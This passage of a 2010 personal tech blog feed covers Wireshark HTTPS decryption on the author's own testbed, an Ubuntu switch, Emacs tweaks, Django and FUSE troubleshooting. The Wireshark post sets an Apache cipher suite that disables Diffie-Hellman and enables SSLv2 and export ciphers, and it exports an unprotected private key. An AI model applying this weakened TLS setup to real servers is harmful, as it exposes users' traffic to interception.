what I did:&lt;br /&gt;&lt;pre&gt;openssl pkcs12 -export -in server.crt -inkey server.key -name "Server Certificate" -out server.p12 -passin pass: -passout pass:&lt;br /&gt;openssl pkcs12 -in server.p12 -out server.pem -nodes  -passin pass: -passout pass:&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Note that there are no passwords on these keys -- this is my testbed server. If you have passwords on your keys, the steps may be different.&lt;br /&gt;&lt;br /&gt;2. Tell wireshark about the .pem file. Go to Edit-&gt;Preferences, expand the protocols menu, and&lt;br /&gt;pick SSL from the list. If your https server is running on localhost, port 443, enter "&lt;span style="font-family:courier new;"&gt;127.0.0.1,443,http,/path/to/your/server.pem&lt;/span&gt;" in the "RSA keys list" box.&lt;br /&gt;&lt;br /&gt;3. Assuming that you don't have &lt;span style="font-family:courier new;"&gt;SSLCipherSuite&lt;/span&gt; defined elsewhere (in which case, you might want to temporarily comment it out if it contradicts this one), add the following entry to your apache2.conf and restart apache:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;SSLCipherSuite kRSA!DH:aRSA!DH:RC4+RSA!DH:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;That turns off Diffie-Hellman key negotiation.&lt;br /&gt;&lt;br /&gt;4. Make sure that your browser is opening a fresh connection. In Firefox, closing the tab and opening a new one appeared to be sufficient.&lt;br /&gt;&lt;br /&gt;5. Start the capture on the appropriate interface. If everything works, Wireshark will decode it. If not, go back to the preferences dialogue, set a debug file, and try again. Look in the debug file for clues---perhaps Wireshark couldn't read your key, for instance.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;* It tried to read a trivial CGI script that just echoed back the SSL environment variables like SSL_CLIENT_M_SERIAL and SSL_CLIENT_VERIFY.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-6095875008239863704?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/6095875008239863704/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/06/how-to-eavesdrop-on-https-traffic.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/6095875008239863704'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/6095875008239863704'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/06/how-to-eavesdrop-on-https-traffic.html' title='How to eavesdrop on HTTPS traffic'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-7079379532387245775</id><published>2010-06-30T14:33:00.001-07:00</published><updated>2010-06-30T14:34:17.349-07:00</updated><title type='text'>Epic link of the day</title><content type='html'>&lt;a href="http://whatdoesgodneedwithastarship.com/"&gt;http://whatdoesgodneedwithastarship.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If you've never played Xenogears, it won't make any sense, btw.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-7079379532387245775?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/7079379532387245775/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/06/epic-link-of-day.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7079379532387245775'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7079379532387245775'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/06/epic-link-of-day.html' title='Epic link of the day'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-8327882265522605949</id><published>2010-06-23T19:54:00.001-07:00</published><updated>2010-06-23T19:57:19.693-07:00</updated><title type='text'>Naming and Necessity</title><content type='html'>I think Microsoft Security Essentials is a great idea. However, one would think that when Microsoft added a feature that they admit might "unintentionally" send your personal information to their computers, they would call it something other than "SpyNet":&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_RQWmQmpSh1E/TCLJUkcGsWI/AAAAAAAAACY/aWnOObPAILQ/s1600/spynet.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 226px;" src="http://1.bp.blogspot.com/_RQWmQmpSh1E/TCLJUkcGsWI/AAAAAAAAACY/aWnOObPAILQ/s400/spynet.png" alt="" id="BLOGGER_PHOTO_ID_5486168651306807650" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-8327882265522605949?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/8327882265522605949/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/06/naming-and-necessity.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/8327882265522605949'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/8327882265522605949'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/06/naming-and-necessity.html' title='Naming and Necessity'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_RQWmQmpSh1E/TCLJUkcGsWI/AAAAAAAAACY/aWnOObPAILQ/s72-c/spynet.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-4019693340219489168</id><published>2010-06-20T13:27:00.000-07:00</published><updated>2010-06-21T03:58:20.060-07:00</updated><title type='text'>Switch</title><content type='html'>&lt;blockquote style="background-color: rgb(204, 204, 204); border: 1px solid rgb(0, 0, 0); padding: 10px;"&gt; By the way, the suggestion to switch Linux distrubutions in order     to get a single app to work might sound absurd at first.  And that's     because &lt;a href="http://www.jwz.org/doc/linux.html"&gt;it is&lt;/a&gt;.  But  I've been saturated     with Unix-peanut-gallery effluvia for so long that it no longer     even surprises me when every &lt;nobr&gt;question --&lt;/nobr&gt; no matter how simple -- results in someone suggesting that you     either A) patch your kernel or B) change distros. It's inevitable     and inescapable, like Hitler. &lt;a href="http://www.jwz.org/doc/linuxvideo.html"&gt;--JWZ&lt;/a&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;I've been a Debian user since 2002. To get a single app to work, I just switched to Ubuntu.&lt;br /&gt;&lt;br /&gt;The app was openssl. I'm building VMs using Ubuntu's vmbuilder, because there's no obvious equivalent for Debian. Unfortunately, the openssl/libssl0.9.8 that ships with Ubuntu (0.9.8k) has some bizarre, inexplicable incompatibility with the openssl/libssl0.9.8/mod_ssl that ships with Apache on Debian (0.9.8n). I was trying to do a SSL client-certificate authentication from the Ubuntu VM to a Debian server. Using a Debian client (openssl s_client or just Python's HTTPS support) and a Debian Apache2 server worked fine. Using an Ubuntu client and an Ubuntu Apache2 worked fine. But the Ubuntu client and the Debian Apache2 failed.&lt;br /&gt;&lt;br /&gt;The Right Thing to do would be to come up with a minimal case demonstrating the bug and post it in the appropriate bug tracker, but since I wasn't even sure if the bug was in Apache2 or in openssl, it would have taken some time to find the right place to report it. I was pressed for time and decided to punt by switching everything to Ubuntu.&lt;br /&gt;&lt;br /&gt;I backed up my laptop's /var, /etc, and /home to a second computer via rsync. I burned the Ubuntu installer, which turned out to be a coaster: I wanted to encrypt my disk, and only the "alternate" installer supports that. I burned and booted the alternate .iso, erased my original Linux and swap partitions, created an encrypted partition, layered LVM on top of that, created new linux and swap partitions inside the LVM, and started the installation. The install took what seemed like hours longer than a Debian install -- I'm not sure if that's simply because Ubuntu Desktop is much bigger than a minimal Debian install or or because the crypto slowed down disk I/O. Possibly both. But the installer worked perfectly---it even recognized my Vista partitions and added them to the grub menu.&lt;br /&gt;&lt;br /&gt;Ubuntu's wireless support is thousands of times more wonderful than Debian's: instead of writing shell scripts to connect to open and WEP networks and having to run them from the command line every time I woke the computer from sleep and being completely unable to connect to WPA networks (the wpa_supplicant manual could double as creepypasta), Ubuntu has NetworkManager and a lovely GUI widget to control wireless connectivity. I don't particularly like always-on GUI widgets, but you can easily hide the Ubuntu widget/menu bar by right-clicking it, choosing 'Properties', and ticking "Auto-hide". I installed enlightenment (packaged as e16) and chose E16-Gnome at the login screen. I switched off all the iconboxes, virtual desktops (I want _multiple_ desktops, not virtual ones), tooltips, and pagers. I made one small change to e16's configuration, editing /etc/e16/bindings.cfg to open gnome-terminal rather than Eterm when I hit Ctrl-Alt-Insert (change  "KeyDown   CA   Insert exec Eterm" to "KeyDown   CA   Insert exec gnome-terminal"). The result: wonderful.&lt;br /&gt;&lt;br /&gt;Oh, and SSL client-auth now works.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-4019693340219489168?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/4019693340219489168/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/06/switch.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/4019693340219489168'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/4019693340219489168'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/06/switch.html' title='Switch'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-8348180149039515827</id><published>2010-06-18T06:35:00.000-07:00</published><updated>2010-06-18T06:46:04.782-07:00</updated><title type='text'>debhelper help</title><content type='html'>If you want to install a &lt;span style="font-family:courier new;"&gt;cron.d&lt;/span&gt; file using a debian/ubuntu package and you're using debhelper, you can just leave a file called &lt;span style="font-family:courier new;"&gt;package-name.cron.d&lt;/span&gt; in the &lt;span style="font-family:courier new;"&gt;debian&lt;/span&gt;/ directory. The &lt;a href="http://www.debian.org/doc/maint-guide/ch-dother.en.html"&gt;manual &lt;/a&gt;explains this. The manual &lt;span style="font-style: italic;"&gt;doesn't&lt;/span&gt; mention (maybe it's obvious to people other than me) that you have to make sure &lt;span style="font-family:courier new;"&gt;dh_installcron&lt;/span&gt; is in your debian/rules in the appropriate place (for instance, perhaps after &lt;span style="font-family: courier new;"&gt;dh_installdocs&lt;/span&gt; in &lt;span style="font-family: courier new;"&gt;binary-indep&lt;/span&gt;, depending on what kind of package you're building.)&lt;br /&gt;&lt;br /&gt;Note that you will also need an explicit username in cron.d, e.g.,&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;30 12 * * * someuser /usr/sbin/someprogram&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-8348180149039515827?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/8348180149039515827/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/06/debhelper-help.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/8348180149039515827'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/8348180149039515827'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/06/debhelper-help.html' title='debhelper help'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-1247918152186234388</id><published>2010-06-14T19:01:00.000-07:00</published><updated>2010-06-21T12:24:48.421-07:00</updated><title type='text'>M-x awesome-mode</title><content type='html'>Since James Fallows mentioned how much he liked &lt;a href="http://www.theatlantic.com/science/archive/2010/06/interesting-software-more-on-scrivener/57686/"&gt;full-screen mode&lt;/a&gt; in his word processor. Since I use the &lt;a href="http://www.gnu.org/software/emacs/"&gt;best text editor known to man&lt;/a&gt;, I thought I'd try it. Here's what I added to my ~/.emacs.el. Like all of my .emacs.el, it's cribbed from various places on the 'net, mostly &lt;a href="http://www.emacswiki.org/emacs/FullScreen"&gt;here&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;(defun switch-nerd-mode ()&lt;br /&gt;(interactive)&lt;br /&gt;(menu-bar-mode)&lt;br /&gt;(scroll-bar-mode)&lt;br /&gt;(shell-command "wmctrl -r :ACTIVE: -btoggle,fullscreen"))&lt;br /&gt;(global-set-key [f11] 'switch-nerd-mode)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;(Note that this assumes you'll have the menu bar and scroll bar switched on when you're &lt;span style="font-style: italic;"&gt;not&lt;/span&gt; in full-screen mode. It also assumes that you switched off the toolbar, which is on by default.)&lt;br /&gt;&lt;br /&gt;Now, this _almost_ works. But there's one problem:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_RQWmQmpSh1E/TBbgYeB-phI/AAAAAAAAACI/_-KEcMYN0Jk/s1600/emacs.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 250px;" src="http://4.bp.blogspot.com/_RQWmQmpSh1E/TBbgYeB-phI/AAAAAAAAACI/_-KEcMYN0Jk/s400/emacs.png" alt="" id="BLOGGER_PHOTO_ID_5482816307353003538" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;For whatever reason, there's a thin strip of desktop peeking through. I'm not sure why: Firefox fullscreens perfectly. But Gnome Terminal has the leftover strip. (I don't use any other programs, really.)&lt;br /&gt;&lt;br /&gt;I was too lazy to actually debug it, so I did what any respectable nerd would do: I set the desktop background to the same color as my emacs window. I set the desktop to solid black, installed the &lt;span style="font-family:courier new;"&gt;emacs-goodies-el&lt;/span&gt; Debian package, which includes a bunch of color themes, ran M-x color-theme-select, and picked Retro Green, which looks like this:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_RQWmQmpSh1E/TBbjpNsmf0I/AAAAAAAAACQ/_cqtiJaBZc0/s1600/emacs2.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 250px;" src="http://3.bp.blogspot.com/_RQWmQmpSh1E/TBbjpNsmf0I/AAAAAAAAACQ/_cqtiJaBZc0/s400/emacs2.png" alt="" id="BLOGGER_PHOTO_ID_5482819893561032514" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Yes, that's my &lt;span style="font-style: italic;"&gt;whole&lt;/span&gt; display. No title bars, scroll bars, task trays, menus, clocks, widgets, heatmaps, thermometers, netload meters, mail indicators --- &lt;span style="font-style: italic;"&gt;nothing&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;One problem with Retro Green is that its narrow color selection (green and black) mean that fancy major modes with lots of colors are less useful: for instance, in python-mode, I typed os.exec instead of os.system and was wondering why pylint was throwing a syntax error on that line. If I'd been using the standard mode, the &lt;span style="font-weight: bold;"&gt;exec&lt;/span&gt; keyword would have been purple.&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;One last tip: if you launch ediff, the ediff control window might sometimes appear under your main window, or somewhere off-screen entirely. If you're using Enlightenment 0.16 (which is the least terrible WM I've used), just hit Ctrl+Alt+Home and E will move it to the front so you can put it somewhere sensible.&lt;br /&gt;&lt;br /&gt;If someone has a more awesome Emacs windowing setup than this, I'd like to see it. (Note that I'll probably copy it.)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Update:&lt;/span&gt; Since I switched to Ubuntu, switching to full-screen mode actually gives me the full screen in both Emacs and gnome-terminal. Win.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-1247918152186234388?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/1247918152186234388/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/06/m-x-awesome-mode.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/1247918152186234388'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/1247918152186234388'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/06/m-x-awesome-mode.html' title='M-x awesome-mode'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_RQWmQmpSh1E/TBbgYeB-phI/AAAAAAAAACI/_-KEcMYN0Jk/s72-c/emacs.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-2550923990323337501</id><published>2010-06-11T05:14:00.000-07:00</published><updated>2010-06-11T05:19:21.579-07:00</updated><title type='text'>Booting a .vmdk with VirtualBox</title><content type='html'>I have a VMware .vmdk+.vmx image created with ubuntu's wonderful &lt;a href="https://help.ubuntu.com/community/JeOSVMBuilder"&gt;vmbuilder&lt;/a&gt;. I wanted to boot it with VirtualBox (since I didn't see an easy way to install VMware on the Debian box I was using, and didn't think it was necessary). Unfortunately, every time I tried to boot, the system complained that it couldn't find the root filesystem and dropped me to an initramfs busybox shell.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;ALERT! /dev/disk/by-uuid/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx does not exist. Dropping to a shell!&lt;/pre&gt;&lt;br /&gt;I tried editing the root= parameter in grub to change it from a UUID to /dev/sda1 or /dev/hda1, to no avail. Flailing, I reconfigured Virtualbox: I deleted the SATA controller, added an IDE controller, and attached the .vmdk to it. I rebooted. It worked!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-2550923990323337501?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/2550923990323337501/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/06/booting-vmdk-with-virtualbox.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/2550923990323337501'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/2550923990323337501'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/06/booting-vmdk-with-virtualbox.html' title='Booting a .vmdk with VirtualBox'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-4246421910624322852</id><published>2010-06-09T12:20:00.000-07:00</published><updated>2010-06-09T12:32:30.151-07:00</updated><title type='text'>Midafternoon diversion</title><content type='html'>Result of running a&lt;a href="http://www.jwz.org/dadadodo/"&gt; word-based Markov chain text generator &lt;/a&gt; on the Craigslist personals:&lt;br /&gt;&lt;br /&gt;Men seeking women:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;I know you ask; me.  I am a message And take control.  I also like&lt;br /&gt;older than me each one.  I'm adventure and have a vast knowledge of&lt;br /&gt;further: conversation.  I would appreciate your highest goals in lieu&lt;br /&gt;of a date this post is consistent actually an issue.  Geographic&lt;br /&gt;location open to you after a up my terrible ego jumps out more Please&lt;br /&gt;be cute, woman between ish who's interested.  If a normal guy on it is&lt;br /&gt;easy to Hold a normal relationship with dark hair i go to plead with&lt;br /&gt;the contrary.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Women seeking men:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;I love to land in quincy.  Hi, so I don't forget I am saying&lt;br /&gt;certain to chat and I love type a friend long time with.  Life&lt;br /&gt;has a light brown hair, blue eyes.  I love?  You're not thin,&lt;br /&gt;or maybe a Great day, that is this is kind, of yourself in size&lt;br /&gt;work day and just be athletic is your parents, must not for&lt;br /&gt;work out with photos get I Am a spider.  He life I am not much&lt;br /&gt;more than dwell on your my own my group or go to cook, wrestle,&lt;br /&gt;go out or ROBOTS Please be greatly appreciated with you like to&lt;br /&gt;be become been to all I'm one of chick this?&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Women seeking women:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;Someone who is just so not?  I am looking; for me A the Trina Hamlin&lt;br /&gt;figthing didnt want someone who has in a little experience, a person&lt;br /&gt;but know me and I'll send me an unfortunate circumstance since middle&lt;br /&gt;school and therefore often in College student but it's pretty hard at&lt;br /&gt;least for?  It is there. &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Men seeking men:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;Older guy here looking for if you must big jock looking for details to&lt;br /&gt;travel.  I'm masc or an oler guy here: and here (to party and also be&lt;br /&gt;Very private very goodlooking and me beg)?  I am masculine hairy fit,&lt;br /&gt;maybe your hot?  Wm looking to try it slow with a time, for games Yr&lt;br /&gt;old asian guys interested?  &lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-4246421910624322852?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/4246421910624322852/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/06/midafternoon-diversion.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/4246421910624322852'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/4246421910624322852'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/06/midafternoon-diversion.html' title='Midafternoon diversion'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-8877763822949914445</id><published>2010-06-04T11:11:00.000-07:00</published><updated>2010-06-04T11:13:53.290-07:00</updated><title type='text'>Django CSRF gotcha</title><content type='html'>Django contains a decorator, @csrf_exempt, that you can apply to a view function to tell the anti-CSRF CsrfViewMiddleware to ignore that view. While it's obvious in retrospect, make sure you apply the decorator to the actual view (e.g., the function listed in urls.py); otherwise, if you apply it to a function &lt;span style="font-style: italic;"&gt;called&lt;/span&gt; by that view function, CsrfViewMiddleware will merrily ignore it and raise a CSRF error.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-8877763822949914445?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/8877763822949914445/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/06/django-csrf-gotcha.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/8877763822949914445'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/8877763822949914445'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/06/django-csrf-gotcha.html' title='Django CSRF gotcha'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-7905326622869001052</id><published>2010-06-03T19:05:00.000-07:00</published><updated>2010-06-03T19:13:13.432-07:00</updated><title type='text'>FUSE confusion</title><content type='html'>The FUSE error&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;fuse: device not found, try 'modprobe fuse' first&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;...is misleading. You might actually have the FUSE module loaded (check with lsmod|grep fuse), but the device doesn't exist. Check for the presence of&lt;span style="font-family: courier new;"&gt; /dev/fuse&lt;/span&gt;. In my case, it was never created because udev wasn't running when I installed FUSE or loaded the fuse module (or possibly both). Some combination of &lt;span style="font-family: courier new;"&gt;/etc/init.d/udev start&lt;/span&gt; and &lt;span style="font-family: courier new;"&gt;/etc/init.d/udev stop&lt;/span&gt; and &lt;span style="font-family: courier new;"&gt;/etc/init.d/udev reload&lt;/span&gt; got udev to create &lt;span style="font-family: courier new;"&gt;/dev/fuse.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;That meant that I graduated to the &lt;span style="font-style: italic;"&gt;next&lt;/span&gt; peanut-gallery error:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;mount: unknown filesystem type 'ext4'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;(I'm running Debian Lenny, so ext4 is only supported if you ignore the&lt;a href="https://ext4.wiki.kernel.org/index.php/Ext4_Howto#For_people_who_are_running_Debian"&gt; dire warnings&lt;/a&gt;.)&lt;br /&gt;&lt;br /&gt;gah.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-7905326622869001052?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/7905326622869001052/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/06/fuse-confusion.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7905326622869001052'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7905326622869001052'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/06/fuse-confusion.html' title='FUSE confusion'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-1876672767255127724</id><published>2010-05-26T13:18:00.001-07:00</published><updated>2010-06-01T14:38:20.814-07:00</updated><title type='text'>Django manual-transaction fun</title><content type='html'>If you use the @commit_manually decorator to manage a transaction, Django will throw a TransactionManagementError ("Transaction managed block ended with pending COMMIT/ROLLBACK") if you fail to commit or rollback the transaction before you exit the function.&lt;br /&gt;&lt;br /&gt;If you exit the function due to an exception, Django will sometimes show you the exception that caused the exit. But sometimes it will &lt;span style="font-style: italic;"&gt;not&lt;/span&gt;: it will only show you the TransactionManagementError, leaving you scratching your head. I've discovered that you get the TransactionManagementError if you modify an object via Django's object-relational mapper. You get the the underlying exception if you modify the database via a raw SQL query. Example:&lt;br /&gt;&lt;br 